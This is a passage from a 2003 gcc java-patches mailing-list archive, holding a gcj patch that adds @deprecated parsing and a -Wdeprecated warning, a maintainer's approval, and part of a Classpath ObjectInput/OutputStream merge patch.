(METHOD_DEPRECATED (part)) + append_deprecated_attribute (state); + methods_count++; current_function_decl = save_function; } @@ -3186,6 +3200,9 @@ i++; if (clas == object_type_node) i++; + if (CLASS_DEPRECATED (TYPE_NAME (clas))) + i++; + PUT2 (i); /* attributes_count */ /* generate the SourceFile attribute. */ @@ -3201,6 +3218,8 @@ PUT2 (i); append_gcj_attribute (state, clas); append_innerclasses_attribute (state, clas); + if (CLASS_DEPRECATED (TYPE_NAME (clas))) + append_deprecated_attribute (state); /* New finally generate the contents of the constant pool chunk. */ i = count_constant_pool_bytes (&state->cpool); @@ -3228,6 +3247,18 @@ PUT4 (0); /* Attribute length */ return ptr; +} + +static void +append_deprecated_attribute (state) + struct jcf_partial *state; +{ + unsigned char *ptr = append_chunk (NULL, 6, state); + int i; + + i = find_utf8_constant (&state->cpool, get_identifier ("Deprecated")); + PUT2 (i); /* Attribute string index */ + PUT4 (0); /* Attribute length */ } static void Index: gcc/java/lang-options.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/lang-options.h,v retrieving revision 1.31 diff -u -r1.31 lang-options.h --- gcc/java/lang-options.h 3 Mar 2002 08:35:11 -0000 1.31 +++ gcc/java/lang-options.h 23 Feb 2003 04:54:58 -0000 @@ -1,5 +1,5 @@ /* Switch definitions for the GNU compiler for the Java(TM) language. - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU CC. @@ -54,6 +54,8 @@ N_("Warn if deprecated empty statements are found") }, { "-Wout-of-date", N_("Warn if .class files are out of date") }, + { "-Wdeprecated", + N_("Warn if deprecated class, method, or field is used") }, { "-fforce-classes-archive-check", N_("Always check for non gcj generated classes archives") }, { "-fno-optimize-static-class-initialization", Index: gcc/java/lang.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/lang.c,v retrieving revision 1.114.2.1 diff -u -r1.114.2.1 lang.c --- gcc/java/lang.c 5 Jan 2003 15:03:25 -0000 1.114.2.1 +++ gcc/java/lang.c 23 Feb 2003 04:54:58 -0000 @@ -1,5 +1,5 @@ /* Java(TM) language-specific utility routines. - Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002 + Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU CC. @@ -174,6 +174,9 @@ /* When nonzero, report the now deprecated empty statements. */ int flag_extraneous_semicolon; +/* When nonzero, report use of deprecated classes, methods, or fields. */ +int flag_deprecated = 1; + /* When nonzero, always check for a non gcj generated classes archive. */ int flag_force_classes_archive_check; @@ -224,7 +227,8 @@ { { "redundant-modifiers", &flag_redundant, 1 }, { "extraneous-semicolon", &flag_extraneous_semicolon, 1 }, - { "out-of-date", &flag_newer, 1 } + { "out-of-date", &flag_newer, 1 }, + { "deprecated", &flag_deprecated, 1 } }; JCF *current_jcf; Index: gcc/java/lex.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/lex.c,v retrieving revision 1.97.2.1 diff -u -r1.97.2.1 lex.c --- gcc/java/lex.c 28 Jan 2003 18:48:16 -0000 1.97.2.1 +++ gcc/java/lex.c 23 Feb 2003 04:54:59 -0000 @@ -1,5 +1,6 @@ /* Language lexer for the GNU compiler for the Java(TM) language. - Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002, 2003 + Free Software Foundation, Inc. Contributed by Alexandre Petit-Bianco (apbianco@cygnus.com) This file is part of GNU CC. @@ -50,7 +51,8 @@ static int java_parse_escape_sequence PARAMS ((void)); static int java_start_char_p PARAMS ((unicode_t)); static int java_part_char_p PARAMS ((unicode_t)); -static int java_parse_doc_section PARAMS ((int)); +static int java_space_char_p PARAMS ((unicode_t)); +static void java_parse_doc_section PARAMS ((int)); static void java_parse_end_comment PARAMS ((int)); static int java_get_unicode PARAMS ((void)); static int java_read_unicode PARAMS ((java_lexer *, int *)); @@ -684,58 +686,97 @@ } } -/* Parse the documentation section. Keywords must be at the beginning +/* Parse the documentation section. Keywords must be at the beginning of a documentation comment line (ignoring white space and any `*' - character). Parsed keyword(s): @DEPRECATED. */ + character). Parsed keyword(s): `@deprecated'. */ -static int +static void java_parse_doc_section (c) int c; { - int valid_tag = 0, seen_star = 0; + int last_was_star; - while (JAVA_WHITE_SPACE_P (c) || (c == '*') || c == '\n') - { - switch (c) + /* We reset this here, because only the most recent doc comment + applies to the following declaration. */ + ctxp->deprecated = 0; + + /* We loop over all the lines of the comment. We'll eventually exit + if we hit EOF prematurely, or when we see the comment + terminator. */ + while (1) + { + /* These first steps need only be done if we're still looking + for the deprecated tag. If we've already seen it, we might + as well skip looking for it again. */ + if (! ctxp->deprecated) { - case '*': - seen_star = 1; - break; - case '\n': /* ULT */ - valid_tag = 1; - default: - seen_star = 0; - } - c = java_get_unicode(); - } + /* Skip whitespace and '*'s. We must also check for the end + of the comment here. */ + while (JAVA_WHITE_SPACE_P (c) || c == '*') + { + last_was_star = (c == '*'); + c = java_get_unicode (); + if (last_was_star && c == '/') + { + /* We just saw the comment terminator. */ + return; + } + } - if (c == UEOF) - java_lex_error ("Comment not terminated at end of input", 0); + if (c == UEOF) + goto eof; - if (seen_star && (c == '/')) - return 1; /* Goto step1 in caller. */ + if (c == '@') + { + const char *deprecated = "@deprecated"; + int i; - /* We're parsing `@deprecated'. */ - if (valid_tag && (c == '@')) - { - char tag [11]; - int tag_index = 0; + for (i = 0; deprecated[i]; ++i) + { + if (c != deprecated[i]) + break; + /* We write the code in this way, with the + update at the end, so that after the loop + we're left with the next character in C. */ + c = java_get_unicode (); + } + + if (c == UEOF) + goto eof; + + /* @deprecated must be followed by a space or newline. + We also allow a '*' in case it appears just before + the end of a comment. In this position only we also + must allow any Unicode space character. */ + if (c == ' ' || c == '\n' || c == '*' || java_space_char_p (c)) + { + if (! deprecated[i]) + ctxp->deprecated = 1; + } + } + } - while (tag_index < 10 && c != UEOF && c != ' ' && c != '\n') + /* We've examined the relevant content from this line. Now we + skip the remaining characters and start over with the next + line. We also check for end of comment here. */ + while (c != '\n' && c != UEOF) { + last_was_star = (c == '*'); c = java_get_unicode (); - tag [tag_index++] = c; + if (last_was_star && c == '/') + return; } if (c == UEOF) - java_lex_error ("Comment not terminated at end of input", 0); - tag [tag_index] = '\0'; - - if (!strcmp (tag, "deprecated")) - ctxp->deprecated = 1; + goto eof; + /* We have to advance past the \n. */ + c = java_get_unicode (); + if (c == UEOF) + goto eof; } - java_unget_unicode (); - return 0; + + eof: + java_lex_error ("Comment not terminated at end of input", 0); } /* Return true if C is a valid start character for a Java identifier. @@ -750,7 +791,7 @@ unsigned long val = (unsigned long) page; int flags; - if ((val & ~ (LETTER_PART | LETTER_START)) != 0) + if ((val & ~ LETTER_MASK) != 0) flags = page[c & 255]; else flags = val; @@ -770,7 +811,7 @@ unsigned long val = (unsigned long) page; int flags; - if ((val & ~ (LETTER_PART | LETTER_START)) != 0) + if ((val & ~ LETTER_MASK) != 0) flags = page[c & 255]; else flags = val; @@ -778,6 +819,24 @@ return flags & LETTER_PART; } +/* Return true if C is whitespace. */ +static int +java_space_char_p (c) + unicode_t c; +{ + unsigned int hi = c / 256; + const char *const page = type_table[hi]; + unsigned long val = (unsigned long) page; + int flags; + + if ((val & ~ LETTER_MASK) != 0) + flags = page[c & 255]; + else + flags = val; + + return flags & LETTER_SPACE; +} + static int java_parse_escape_sequence () { @@ -962,13 +1021,19 @@ case '*': if ((c = java_get_unicode ()) == '*') { - if ((c = java_get_unicode ()) == '/') - goto step1; /* Empty documentation comment. */ - else if (java_parse_doc_section (c)) - goto step1; + c = java_get_unicode (); + if (c == '/') + { + /* Empty documentation comment. We have to reset + the deprecation marker as only the most recent + doc comment applies. */ + ctxp->deprecated = 0; + } + else + java_parse_doc_section (c); } - - java_parse_end_comment ((c = java_get_unicode ())); + else + java_parse_end_comment ((c = java_get_unicode ())); goto step1; break; default: Index: gcc/java/parse.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.h,v retrieving revision 1.85 diff -u -r1.85 parse.h --- gcc/java/parse.h 4 Aug 2002 22:45:31 -0000 1.85 +++ gcc/java/parse.h 23 Feb 2003 04:54:59 -0000 @@ -1,5 +1,6 @@ /* Language parser definitions for the GNU compiler for the Java(TM) language. - Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1997, 1998, 1999, 2000, 2001, 2002, 2003 + Free Software Foundation, Inc. Contributed by Alexandre Petit-Bianco (apbianco@cygnus.com) This file is part of GNU CC. @@ -701,6 +702,14 @@ java_check_abstract_methods ((CLASS)); \ else \ java_check_regular_methods ((CLASS)); \ + } + +#define CLEAR_DEPRECATED ctxp->deprecated = 0 + +#define CHECK_DEPRECATED_NO_RESET(DECL) \ + { \ + if (ctxp->deprecated) \ + DECL_DEPRECATED (DECL) = 1; \ } /* Using and reseting the @deprecated tag flag */ Index: gcc/java/parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.405.2.6 diff -u -r1.405.2.6 parse.y --- gcc/java/parse.y 3 Feb 2003 17:48:42 -0000 1.405.2.6 +++ gcc/java/parse.y 23 Feb 2003 04:55:04 -0000 @@ -4363,7 +4363,7 @@ else lineno = EXPR_WFL_LINENO (cl); field_decl = add_field (class_type, current_name, real_type, flags); - CHECK_DEPRECATED (field_decl); + CHECK_DEPRECATED_NO_RESET (field_decl); /* If the field denotes a final instance variable, then we allocate a LANG_DECL_SPECIFIC part to keep track of its @@ -4421,6 +4421,8 @@ DECL_INITIAL (field_decl) = TREE_OPERAND (init, 1); } } + + CLEAR_DEPRECATED; lineno = saved_lineno; } @@ -5562,6 +5564,10 @@ decl = resolve_class (JDEP_ENCLOSING (dep), JDEP_TO_RESOLVE (dep), JDEP_DECL (dep), JDEP_WFL (dep)); JDEP_RESOLVED (dep, decl); + /* If there is no WFL, that's ok. We generate this warning + elsewhere. */ + if (JDEP_WFL (dep) != NULL_TREE) + check_deprecation (JDEP_WFL (dep), decl); } if (!decl) @@ -6772,7 +6778,11 @@ /* We found it, we can bail out */ if (IDENTIFIER_CLASS_VALUE (to_be_found)) - break; + { + check_deprecation (TREE_PURPOSE (import), + IDENTIFIER_CLASS_VALUE (to_be_found)); + break; + } /* We haven't found it. Maybe we're trying to access an inner class. The only way for us to know is to try again @@ -9335,6 +9345,8 @@ if (FIELD_LOCAL_ALIAS_USED (decl)) name = DECL_NAME (decl); + check_deprecation (id, decl); + /* Instance variable (8.3.1.1) can't appear within static method, static initializer or initializer for a static variable. */ @@ -10142,22 +10154,40 @@ check_deprecation (wfl, decl) tree wfl, decl; { - const char *file = DECL_SOURCE_FILE (decl); + const char *file; + tree elt; + + if (! flag_deprecated) + return; + + /* We want to look at the element type of arrays here, so we strip + all surrounding array types. */ + if (TYPE_ARRAY_P (TREE_TYPE (decl))) + { + elt = TREE_TYPE (decl); + while (TYPE_ARRAY_P (elt)) + elt = TYPE_ARRAY_ELEMENT (elt); + /* We'll end up with a pointer type, so we use TREE_TYPE to go + to the record. */ + decl = TYPE_NAME (TREE_TYPE (elt)); + } + file = DECL_SOURCE_FILE (decl); + /* Complain if the field is deprecated and the file it was defined in isn't compiled at the same time the file which contains its use is */ if (DECL_DEPRECATED (decl) && !IS_A_COMMAND_LINE_FILENAME_P (get_identifier (file))) { - char the [20]; + const char *the; switch (TREE_CODE (decl)) { case FUNCTION_DECL: - strcpy (the, "method"); + the = "method"; break; case FIELD_DECL: case VAR_DECL: - strcpy (the, "field"); + the = "field"; break; case TYPE_DECL: parse_warning_context (wfl, "The class `%s' has been deprecated", @@ -10532,11 +10562,10 @@ } /* Deprecation check: check whether the method being invoked or the - instance-being-created's type are deprecated. */ + instance-being-created's type are deprecated. */ if (TREE_CODE (patch) == NEW_CLASS_EXPR) check_deprecation (wfl, TYPE_NAME (DECL_CONTEXT (list))); - else - check_deprecation (wfl, list); + check_deprecation (wfl, list); /* If invoking a innerclass constructor, there are hidden parameters to pass */ @@ -13636,7 +13665,7 @@ } break; - /* 15.19.1 Type Comparison Operator instaceof */ + /* 15.19.1 Type Comparison Operator instanceof */ case INSTANCEOF_EXPR: TREE_TYPE (node) = boolean_type_node; @@ -14403,10 +14432,14 @@ IDENTIFIER_POINTER (EXPR_WFL_NODE (type))); return NULL_TREE; } + + check_deprecation (type, type_decl); + return TREE_TYPE (type_decl); } return type; } + /* 5.5 Casting Conversion. error_mark_node is returned if an error is found. Otherwise NODE or something meant to replace it is returned. */ Index: libjava/ChangeLog from Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (JC1FLAGS): Added -Wno-deprecated. Index: libjava/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.264.2.10 diff -u -r1.264.2.10 Makefile.am --- libjava/Makefile.am 12 Feb 2003 20:00:03 -0000 1.264.2.10 +++ libjava/Makefile.am 23 Feb 2003 04:55:09 -0000 @@ -96,7 +96,7 @@ endif JCFLAGS = -g -JC1FLAGS = @LIBGCJ_JAVAFLAGS@ $(GCJFLAGS) +JC1FLAGS = @LIBGCJ_JAVAFLAGS@ -Wno-deprecated $(GCJFLAGS) LIBFFIINCS = @LIBFFIINCS@ Index: libjava/testsuite/ChangeLog from Tom Tromey * libjava.jacks/jacks.xfail: Most 4.7.10 tests pass now. Index: libjava/testsuite/libjava.jacks/jacks.xfail =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.jacks/jacks.xfail,v retrieving revision 1.1.12.3 diff -u -r1.1.12.3 jacks.xfail --- libjava/testsuite/libjava.jacks/jacks.xfail 28 Jan 2003 18:48:51 -0000 1.1.12.3 +++ libjava/testsuite/libjava.jacks/jacks.xfail 23 Feb 2003 04:55:12 -0000 @@ -698,45 +698,16 @@ 4.5.4-static-5 4.5.4-parameter-2 4.5.4-parameter-3 -4.7.10-jvms-class-1 -4.7.10-jvms-class-2 -4.7.10-jvms-class-3 -4.7.10-jvms-class-4 -4.7.10-jvms-class-5 -4.7.10-jvms-class-10 -4.7.10-jvms-class-11 -4.7.10-jvms-class-12 -4.7.10-jvms-class-13 -4.7.10-jvms-class-14 -4.7.10-jvms-class-17 +4.7.10-jvms-class-6 +4.7.10-jvms-class-7 +4.7.10-jvms-class-8 4.7.10-jvms-class-18 -4.7.10-jvms-class-19 -4.7.10-jvms-method-1 -4.7.10-jvms-method-2 -4.7.10-jvms-method-3 -4.7.10-jvms-method-4 -4.7.10-jvms-method-5 -4.7.10-jvms-method-10 -4.7.10-jvms-constructor-1 -4.7.10-jvms-constructor-2 -4.7.10-jvms-constructor-3 -4.7.10-jvms-constructor-4 -4.7.10-jvms-constructor-5 -4.7.10-jvms-constructor-10 -4.7.10-jvms-constructor-11 -4.7.10-jvms-constructor-12 -4.7.10-jvms-field-1 -4.7.10-jvms-field-2 -4.7.10-jvms-field-3 -4.7.10-jvms-field-4 -4.7.10-jvms-field-5 -4.7.10-jvms-field-10 -4.7.10-jvms-field-11 -4.7.10-jvms-lex-6 -4.7.10-jvms-lex-7 -4.7.10-jvms-lex-8 -4.7.10-jvms-lex-9 -4.7.10-jvms-lex-10 +4.7.10-jvms-method-6 +4.7.10-jvms-method-8 +4.7.10-jvms-constructor-6 +4.7.10-jvms-constructor-8 +4.7.10-jvms-field-6 +4.7.10-jvms-field-8 non-jls-argument-expansion-11 non-jls-argument-expansion-12 non-jls-argument-expansion-13 From java-patches-return-6252-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 12:47:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20072 invoked by alias); 23 Feb 2003 12:47:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20058 invoked from network); 23 Feb 2003 12:47:56 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 23 Feb 2003 12:47:56 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-4.rdu.redhat.com [172.16.50.4]) by executor.cambridge.redhat.com (Postfix) with ESMTP id CFD5AABB05; Sun, 23 Feb 2003 12:47:53 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h1NClki17225; Sun, 23 Feb 2003 12:47:46 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15960.49906.666429.198679@cuddles.cambridge.redhat.com> Date: Sun, 23 Feb 2003 12:47:46 +0000 (GMT) To: tromey@redhat.com Cc: Eric Blake , java-patches@gcc.gnu.org, Gcc Patch List Subject: Re: Patch: fix gcj deprecation support In-Reply-To: <877kbrbnkg.fsf@fleche.redhat.com> References: <87y949csua.fsf@fleche.redhat.com> <3E5704D4.4060108@email.byu.edu> <877kbrbnkg.fsf@fleche.redhat.com> Tom Tromey writes: > Index: gcc/java/ChangeLog > from Tom Tromey > > * lang-options.h: Added -Wdeprecated. > * gcj.texi (Warnings): Document -Wdeprecated. > * java-tree.h (flag_deprecated): Declare. > * lang.c (lang_W_options): Added deprecated. > (flag_deprecated): New global. > * gen-table.pl (process_one): Look at whitespace. > (print_tables): Define LETTER_SPACE, LETTER_MASK. > * parse.h (CLEAR_DEPRECATED): New macro. > (CHECK_DEPRECATED_NO_RESET): New macro. > * jcf-parse.c (handle_deprecated): New function. > (HANDLE_DEPRECATED_ATTRIBUTE): New define. > * jcf-reader.c (get_attribute): Handle Deprecated attribute. > * parse.y (resolve_type_during_patch): Check deprecation. > (jdep_resolve_class): Likewise. > (process_imports): Likewise. > (resolve_expression_name): Likewise. > (check_deprecation): Strip arrays from decl. Check > flag_deprecated. > (patch_method_invocation): Also check the particular constructor > for deprecation. > (register_fields): Use CHECK_DEPRECATED_NO_RESET in loop. > * jcf-write.c (append_deprecated_attribute): New function. > (generate_classfile): Generate deprecated attribute when > appropriate. > * lex.c (java_parse_doc_section): Return type now void. Rewrote. > (java_lex) [case '*']: Simplify logic. > (java_start_char_p): Use LETTER_MASK. > (java_part_char_p): Likewise. > (java_space_char_p): New function. OK. I'm not sure the branch really needs this, but go ahead if you think so. Andrew. From java-patches-return-6253-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Feb 23 16:15:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31599 invoked by alias); 23 Feb 2003 16:15:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31574 invoked from network); 23 Feb 2003 16:15:29 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 23 Feb 2003 16:15:29 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18mymN-0002IL-00 for ; Sun, 23 Feb 2003 17:15:03 +0100 Subject: Classpath ObjectIn/OutputStream merge From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-W/Sjo/MoKaSesvmGUkql" Organization: Message-Id: <1046016925.3355.827.camel@elsschot> Mime-Version: 1.0 Date: 23 Feb 2003 17:15:26 +0100 --=-W/Sjo/MoKaSesvmGUkql Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, Here is finally the remaining ObjectIn/OutputStream remerge with GNU Classpath. It is still not 100% complete but I think this is important enough to get into 3.3. The old code could get into infinite recursion some of the time (triggered by some Mauve tests, which was why they were disabled). The things that have to happen for a full merge are: - Reindent both Classpath and libgcj code (will do this as soon as this goes in. - Merge getCurrentClassLoader() code. libgcj just always returns the system classloader for now. - ObjectInputStream DataInput primitive wrappers. I just don't understand the Classpath code. But it does not impact the Mauve tests and the libgcj code didn't do it in the past anyway. Even without this the patch is already large but all important logic is in. I tried to make a detailed ChangeLog (note that the diff looks huge but if requested I can send a diff -w that shows that a big part of the patch is just reindenting two large try-catch-finally blocks): 2003-02-23 Mark Wielaard * Makefile.am (nat_source_files): Remove java/io/natObjectOutputStream.cc. * Makefile.in: Regenerated. * mauve-libgcj: Don't exclude java.io.ObjectInputOutput tests. * java/io/ObjectStreamField.java (typename): New field. (ObjectStreamField(String, Class)): Initialize new field. (ObjectStreamField(String, String)): New Constructor. (getTypeCode): Use new field. (getTypeString): Use new field. * java/io/ObjectOutputStream.java (writeObject): Rethrow fatal ObjectStreamExceptions. Remember and reset old BlockDataMode. Handle reading of Proxy classes. Never drain(), just write TC_ENDBLOCKDATA. Rethrow ObjectStreamExceptions. (drain): Check writeDataAsBlocks before calling writeBlockDataHeader. (flush): Call flush(), not just drain(). (writeBoolean): Always use blockDataOutput. (writeByte): Likewise. (writeShort): Likewise. (writeChar): Likewise. (writeInt): Likewise. (writeLong): Likewise. (writeFloat): Likewise. (writeDouble): Likewise. (writeBytes): Likewise. (putfield (put(String,Object))): Throw IllegalArgumentException if field cannot be found. (putfield (write(ObjectOutput))): Remember old BlockDataMode. (writeArraySizeAndElements): Write byte[] in one go. (writeFields): Write TC_ENDBLOCKDATA when call_write_method, otherwise set BlockDataMode to false. (annotateProxyClass): New method. (defaultProtocolVersion): Now defaults to PROTOCOL_VERSION_2 (getField): No longer native. (getMethod): Likewise. (setBlockDataMode): Always drain() on switch, return old mode. (static): New static code block. * java/io/natObjectOutputStream.cc: Removed. * java/io/ObjectInputStream.java (getField): No longer native. (getMethod): Likewise. (readObject): Remember and reset old BlockDataMode. Track whether object is consumed. Handle TC_ENDBLOCKDATA, TC_PROXYCLASSDESC and TC_LONGSTRING. (defaultReadObject): Set BlockDataMode to false during readFields. (resolveClass): Create new SecurityManager if necessary. Use Class.forName() if null ClassLoader found. (read(byte[],int,int): Copy remaining bytes to data before calling readNextBlock(). (readFields): Set and reset BlockDataMode on call_read_method. Catch NoSuchFieldErrors. (setBlockDataMode): Return old mode. (static): New static code block. * java/io/natObjectInputStream.cc (getField): Removed. (getMethod): Likewise. OK for branch and mainline? It enables the Mauve tests that we were unable to run previously. This does introduce some new failures (but also 35 new passes): FAIL: gnu.testlet.java.io.ObjectInputOutput.InputTest: gnu.testlet.java.io.ObjectInputOutput.Test$GetPutField (number 1) FAIL: gnu.testlet.java.io.ObjectInputOutput.OutputTest: Serializable: gnu.testlet.java.io.ObjectInputOutput.Test$Extern () (number 2) FAIL: gnu.testlet.java.io.ObjectInputOutput.OutputTest: Serializable: test(str=null, x=0) (number 2) FAIL: gnu.testlet.java.io.ObjectInputOutput.SerTest (number 2) These failures are the same as seen with Kissme+Classpath and the old libgcj code could either not run these tests in the first place or gave the same results. There is a Classpath patch pending to resolve the last one. I will try to investigate the others next week and either fix them or xfail them. Cheers, Mark --=-W/Sjo/MoKaSesvmGUkql Content-Disposition: inline; filename=ObjectXputStream.patch Content-Type: text/x-patch; name=ObjectXputStream.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.279 diff -u -r1.279 Makefile.am --- Makefile.am 18 Feb 2003 07:26:20 -0000 1.279 +++ Makefile.am 23 Feb 2003 15:55:32 -0000 @@ -2496,7 +2496,6 @@ java/io/natFile.cc \ java/io/natFileDescriptor.cc \ java/io/natObjectInputStream.cc \ -java/io/natObjectOutputStream.cc \ java/io/natVMObjectStreamClass.cc \ java/lang/natCharacter.cc \ java/lang/natClass.cc \ Index: Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.in,v retrieving revision 1.300 diff -u -r1.300 Makefile.in --- Makefile.in 18 Feb 2003 07:26:20 -0000 1.300 +++ Makefile.in 23 Feb 2003 15:55:37 -0000 @@ -65,6 +65,7 @@ target_triplet = @target@ AR = @AR@ AS = @AS@ +BACKTRACESPEC = @BACKTRACESPEC@ CC = @CC@ CHECKREFSPEC = @CHECKREFSPEC@ COMPPATH = @COMPPATH@ @@ -91,6 +92,7 @@ GTK_CONFIG = @GTK_CONFIG@ GTK_LIBS = @GTK_LIBS@ HASH_SYNC_SPEC = @HASH_SYNC_SPEC@ +IEEESPEC = @IEEESPEC@ INCLTDL = @INCLTDL@ INTERPRETER = @INTERPRETER@ JC1GCSPEC = @JC1GCSPEC@ @@ -2255,7 +2257,6 @@ java/io/natFile.cc \ java/io/natFileDescriptor.cc \ java/io/natObjectInputStream.cc \ -java/io/natObjectOutputStream.cc \ java/io/natVMObjectStreamClass.cc \ java/lang/natCharacter.cc \ java/lang/natClass.cc \ @@ -2425,18 +2426,16 @@ gnu/gcj/runtime/natStackTrace.lo gnu/gcj/runtime/natStringBuffer.lo \ gnu/gcj/runtime/natVMClassLoader.lo gnu/java/nio/natByteBufferImpl.lo \ gnu/java/nio/natCharBufferImpl.lo gnu/java/nio/natDoubleBufferImpl.lo \ -gnu/java/nio/natFileChannelImpl.lo \ -gnu/java/nio/natFloatBufferImpl.lo gnu/java/nio/natIntBufferImpl.lo \ -gnu/java/nio/natLongBufferImpl.lo \ -gnu/java/nio/natSelectorImpl.lo \ -gnu/java/nio/natShortBufferImpl.lo gnu/java/nio/natSocketChannelImpl.lo \ -java/io/natFile.lo java/io/natFileDescriptor.lo \ -java/io/natObjectInputStream.lo \ -java/io/natObjectOutputStream.lo java/io/natVMObjectStreamClass.lo \ -java/lang/natCharacter.lo java/lang/natClass.lo \ -java/lang/natClassLoader.lo java/lang/natConcreteProcess.lo \ -java/lang/natDouble.lo java/lang/natFloat.lo java/lang/natMath.lo \ -java/lang/natObject.lo java/lang/natRuntime.lo java/lang/natString.lo \ +gnu/java/nio/natFileChannelImpl.lo gnu/java/nio/natFloatBufferImpl.lo \ +gnu/java/nio/natIntBufferImpl.lo gnu/java/nio/natLongBufferImpl.lo \ +gnu/java/nio/natSelectorImpl.lo gnu/java/nio/natShortBufferImpl.lo \ +gnu/java/nio/natSocketChannelImpl.lo java/io/natFile.lo \ +java/io/natFileDescriptor.lo java/io/natObjectInputStream.lo \ +java/io/natVMObjectStreamClass.lo java/lang/natCharacter.lo \ +java/lang/natClass.lo java/lang/natClassLoader.lo \ +java/lang/natConcreteProcess.lo java/lang/natDouble.lo \ +java/lang/natFloat.lo java/lang/natMath.lo java/lang/natObject.lo \ +java/lang/natRuntime.lo java/lang/natString.lo \ java/lang/natStringBuffer.lo java/lang/natSystem.lo \ java/lang/natThread.lo java/lang/natVMSecurityManager.lo \ java/lang/ref/natReference.lo java/lang/reflect/natArray.lo \ @@ -2599,7 +2598,7 @@ DISTFILES = $(DIST_COMMON) $(SOURCES) $(HEADERS) $(TEXINFOS) $(EXTRA_DIST) -TAR = gtar +TAR = tar GZIP_ENV = --best DIST_SUBDIRS = @DIRLTDL@ testsuite gcj include @DIRLTDL@ gcj include DEP_FILES = .deps/$(srcdir)/$(CONVERT_DIR)/gen-from-JIS.P \ @@ -3270,7 +3269,6 @@ .deps/java/io/WriteAbortedException.P .deps/java/io/Writer.P \ .deps/java/io/natFile.P .deps/java/io/natFileDescriptor.P \ .deps/java/io/natObjectInputStream.P \ -.deps/java/io/natObjectOutputStream.P \ .deps/java/io/natVMObjectStreamClass.P \ .deps/java/lang/AbstractMethodError.P \ .deps/java/lang/ArithmeticException.P \ Index: mauve-libgcj =================================================================== RCS file: /cvs/gcc/gcc/libjava/mauve-libgcj,v retrieving revision 1.25 diff -u -r1.25 mauve-libgcj --- mauve-libgcj 13 Oct 2002 11:10:27 -0000 1.25 +++ mauve-libgcj 23 Feb 2003 15:55:37 -0000 @@ -15,7 +15,6 @@ # The following tests seem to hang or crash the testsuite. # This a problem when running Mauve "standalone". -!java.io.ObjectInputOutput !java.lang.reflect.Array.newInstance # Character.unicode seems to be very broken (the test) Index: java/io/ObjectInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectInputStream.java,v retrieving revision 1.13 diff -u -r1.13 ObjectInputStream.java --- java/io/ObjectInputStream.java 1 Oct 2002 03:46:42 -0000 1.13 +++ java/io/ObjectInputStream.java 23 Feb 2003 15:55:38 -0000 @@ -1,5 +1,5 @@ /* ObjectInputStream.java -- Class used to read serialized objects - Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -38,8 +38,6 @@ package java.io; -import gnu.classpath.Configuration; - import java.lang.reflect.Array; import java.lang.reflect.Modifier; import java.lang.reflect.Proxy; @@ -53,7 +51,7 @@ import java.lang.reflect.Method; import java.lang.reflect.InvocationTargetException; - +import gnu.classpath.Configuration; public class ObjectInputStream extends InputStream implements ObjectInput, ObjectStreamConstants @@ -130,286 +128,343 @@ Object ret_val; was_deserializing = this.isDeserializing; - if (! was_deserializing) - setBlockDataMode (false); + boolean is_consumed = false; + boolean old_mode = setBlockDataMode (false); this.isDeserializing = true; byte marker = this.realInputStream.readByte (); dumpElement ("MARKER: 0x" + Integer.toHexString(marker) + " "); - switch (marker) - { - case TC_BLOCKDATA: - case TC_BLOCKDATALONG: - if (marker == TC_BLOCKDATALONG) - dumpElementln ("BLOCKDATALONG"); - else - dumpElementln ("BLOCKDATA"); - readNextBlock (marker); - throw new StreamCorruptedException ("Unexpected blockData"); - - case TC_NULL: - dumpElementln ("NULL"); - ret_val 